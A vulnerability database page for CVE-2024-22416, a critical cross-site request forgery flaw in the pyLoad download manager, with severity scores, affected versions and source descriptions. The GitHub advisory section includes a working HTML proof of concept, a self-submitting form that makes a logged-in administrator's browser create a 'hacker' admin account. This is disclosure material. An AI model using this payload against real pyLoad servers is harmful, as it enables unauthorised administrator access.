9.7critical
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
- Severity
- 9.7critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.95% (higher than 62% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-pgpj-v85q-h5fmPYSEC-2024-17
Description
pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| pyload pyload | < 0.5.0b3.dev78 | CVE List |
| pyload-ng (PyPI) | before 0.5.0b3.dev78, before 1374c824271cb7e927740664d06d2e577624ca3e, before c7cdc18ad9134a75222974b39e8b427c4af845fc | GitHub Advisory Database, PyPA Advisory Database |
| pyload-ng_project pyload-ng | before 0.5.0b3.dev78 | NVD |
All scores
| GitHub_M | 9.7critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| GitHub | 9.6critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.
GitHub Advisory Database
Summary
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC
We host the following HTML file on an attacker-controlled server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
image
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
image
Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
NVD (es)
pyLoad es un administrador de descargas gratuito y de código abierto escrito en Python puro. La API `pyload` permite realizar cualquier llamada a la API mediante solicitudes GET. Dado que la cookie de sesión no está configurada en "SameSite: strict", esto abre la librería a graves posibilidades de ataque a través de un ataque de Cross-Site Request Forgery (CSRF). Como resultado, cualquier llamada a la API puede realizarse mediante un ataque CSRF por parte de un usuario no autenticado. Este problema se solucionó en la versión `0.5.0b3.dev78`. Se recomienda a todos los usuarios que actualicen.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-22416 changed 2025-06-17 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-pgpj-v85q-h5fm changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2024-22416 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2024-17 changed 2024-01-29 | CC-BY-4.0 |